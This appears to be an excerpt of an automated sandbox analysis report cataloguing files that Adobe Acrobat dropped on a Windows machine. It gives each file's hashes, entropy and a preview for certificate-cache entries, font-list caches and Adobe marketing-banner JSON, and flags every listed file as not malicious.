Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl4Q4V+stfllXlE/HT8kfljNNX8RolJuRdxLlGB9lQRYwpDdt:kKhEseT8iRNMa8RdWBwRd
MD5:	DF2602338F655209D38E4AED2CA7C4E4
SHA1:	71CEC3EA62149DB074609994A8777B9C393412CA
SHA-256:	FE9CEF9F9FA63091F851EDBDBB502D90584F4DF711E0E3A3C7EF90B838A35228
SHA-512:	182D919535539D7A990E6F563C4C2FDC567491043D692A6C1B1B51A3C5C6014D6513D1B87711F9D24AF58739C8121BD4871C5D03261018714D9FA3FC73FBD530
Malicious:	false
Preview:	p...... .........uEX.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKqL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:iiDImsLNkPlE99SNxAhUe/3
MD5:	7122F5827355378F74CC4C8F85C3F292
SHA1:	88BCFFBFF47BA7EF44595CABF2A8EA15215FC41B
SHA-256:	18B92636B125AA4F4A161A931D016D5A7F4D3FD901959AD5805D5CC64134220A
SHA-512:	859B3545E15FF16EE0950153352E0DDC0BC421456C5D4E6D61F2A19EDB144084BC4874D85F8647BFDF414831B6412306A5ED01E653FE8DA1BD98A05C05D10E20
Malicious:	false
Preview:	p...... ..........~j.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7680

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7680

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349742538255477
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJM3g98kUwPeUkwRe9:YvXKXWW9vR/ZwHASPGMbLUkee9
MD5:	CD9C3513B2E3F07516B2736CB56BCB15
SHA1:	6D23036AAF18509AB80D7071264C6DE7CFEEE018
SHA-256:	F4FE6191810419CA8CFDC94860C8052CFEF9AEDA172CFBFAE32026A12DB5BF84
SHA-512:	583B7E096D69841353CF7C66F9389D8CC0600BCBF3D0487AB5DDC3D9EFD7335FA11EFEB21EB132EA4A01347DDF135BFAC2193782821765A8F8290D833B7CD845
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28510023223069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfBoTfXpnrPeUkwRe9:YvXKXWW9vR/ZwHASPGWTfXcUkee9
MD5:	A21F0F57A29F7DE5BE54C7097C27CA4D
SHA1:	9E90C39F433A81D2187FA2045C16EF6202F5966E
SHA-256:	7E8BCA68EE0AB0BD9EDA61735B8CFFA783072C2705BF292C40861910CA09D70E
SHA-512:	254C8285A3E227F73BE747517BDF7B680F719C187CF61F59D00DA36686E33B3567173210ACCDD8F6F257B877D5FFC00EFC1684E638B28D2D2088158C77723207
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263511905495551
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfBD2G6UpnrPeUkwRe9:YvXKXWW9vR/ZwHASPGR22cUkee9
MD5:	32B1845CCE8DB1A5394CDF07BA601F2C
SHA1:	C8DACBAA3CAF9FA6D0670C9F4D40782F23AB6679
SHA-256:	AF81AB4EB7E209EDD06C3F1132C795708DBC424A6C71631B0B730A823E0D2B23
SHA-512:	194BEC4F344F041E2ABBD747F41D1C444F7A6588116D5CD64B474E618CC20806829693AE03E283B7ECF653675CBB7F284F3240AB725DC1215ABC0FB24A839329
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32621316030738
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfPmwrPeUkwRe9:YvXKXWW9vR/ZwHASPGH56Ukee9
MD5:	2D2CC44F52EF22B36B18323DD06A8C73
SHA1:	9D2A583304BD67370675954B81FCF36EFDF8E85F
SHA-256:	7A2BBD33A9AB0A324B8762E563B95A24DFFBC494E8F5992D83115AA3B6078FD4
SHA-512:	64CE5DBA76B223595A21ED18F6C2B93ED066EE161D618E1C73D4E2EB0666E2775D2230E08AEEF73B7EF3C63C6D19D90AE1EE1B36620A4658DA90021E4D6AB5F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687858829573424
Encrypted:	false
SSDEEP:	24:Yv6X/9Jh2UpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvwJhfhgy6SAFv5Ah8cv/Q
MD5:	8C1DDBC5281DBF175A46FEC2BFF7CEBD
SHA1:	5C120DD7EDAF300CB9B87FEC2FD40D46A262D7B5
SHA-256:	4D933CAC15EC9CAE0AC3DCB0F9EC35350E3BAE13E5F3DE5CF41A40C58062273A
SHA-512:	DB343AB871F357ECB6FB9A5B32BA2FD9B7E48E5AAB8F98658E2A26BFF8E7B95372876A21F9A4A71EC329CAE3232B0265A197E6454B4BEB0E86837EC92C47FFBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273613549248331
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJf8dPeUkwRe9:YvXKXWW9vR/ZwHASPGU8Ukee9
MD5:	B74245750AF628E79B75BBBB10DA97AB
SHA1:	FCC670456D8050657BE25C8D9C253C9565523B63
SHA-256:	B3D3BD5AEC8CC7C3BDA57576C0D4C68C46D8246B52C9579219E68E8991BD82A6
SHA-512:	8583820577BD07BC35162B06B9C81BF0FC5233E6BA31E04424244E0E0D9DC901868EE5B58FB8DC1F71C79A1AB9228ED69A2D852EB19271FCD03B8BD7B27EA62E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.271998184437933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfQ1rPeUkwRe9:YvXKXWW9vR/ZwHASPGY16Ukee9
MD5:	FC9C47B44B63C6EAD881F7EFA8097164
SHA1:	70B640CD916798054B1BD92751D53A776216849F
SHA-256:	79AC50DEB6399389B728F721FFD9A5072DC7419DF102AF8E14270708F1F161B1
SHA-512:	94F07DA11C7183D4B021EBE8AD4181502B778A3F0F8588E5D4A82E537F635748BA9BFF7055399918B30312A97E9C962262AB9D5A8795ED2B53AF5BB6A2197148
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289540742948328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfFldPeUkwRe9:YvXKXWW9vR/ZwHASPGz8Ukee9
MD5:	40031C4CC51C8BFBB89F9CD2319838EB
SHA1:	09CB4F606C379EE78289B43178862E1137AF6F6E
SHA-256:	508FD6857CA3846B18895C3614352441E96A2B7580CA25AC26BDF912A1B1D349
SHA-512:	2AB8763CD157CF6A5E1B82F7ADB287115062E3D5C0CA74B11AC20C67131E5043B1554FDAE4B2D941460B24C5A45000F0E3C01B71EE2C7BCBBAC4ECCBC56AE8DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302343246418855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfzdPeUkwRe9:YvXKXWW9vR/ZwHASPGb8Ukee9
MD5:	C8D9F72F1BE9240DFE38D70CCF579BA3
SHA1:	7EC1944B920A8AD078F8BD88E7B90A57EEA88577
SHA-256:	5D43AF91BC243C57BB8E2A986A678AFFF25E754EC423914576E70E16DD83941B
SHA-512:	258B1E0CCA9C713D6BA69548C6C35A8D13B636D8E5CF56A577A1EA5F011BCF68AA8BBD08D62FC3420E60D723060995B9D5DC662714082397654457523141362F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282633625016076
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfYdPeUkwRe9:YvXKXWW9vR/ZwHASPGg8Ukee9
MD5:	FD5C6C8BFB0CC56123E85D30403BD902
SHA1:	2E7BFC966D8D3CD99DDF7C221B3570A521E6DB3B
SHA-256:	B0C0EE54E05B2A66AA1C340F3ADD0137BE305E80D0118340A2A3CE9DFFCA0FCE
SHA-512:	EBDB698BB3AA5BA9458CF2ED27F0A212C189D88EE8785700328C328177B64EAD053D6118E2450E31D6EAF74A99E9240E29EAD3EC02A12C11BF41E2DFC91E17B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268959605420961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJf+dPeUkwRe9:YvXKXWW9vR/ZwHASPG28Ukee9
MD5:	8E3BBF8345E274022E2E278BEE53BAE3
SHA1:	3BC13EAF04DD0E383F4CE4FD1699527DF3DF143E
SHA-256:	98BF71AB8A73D52D31E93860EAF36C692287470C412A63843BFF752F8574C34B
SHA-512:	D889A14EF14230EBC9EBD7492B5A0A228CF3A4494A3B760CB1325336D964378EF644604B496D3ABC30058A86B7A352AC6547A1E7A4E23C48962FB56EED648B1C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.266300079219039
Encrypted:	false
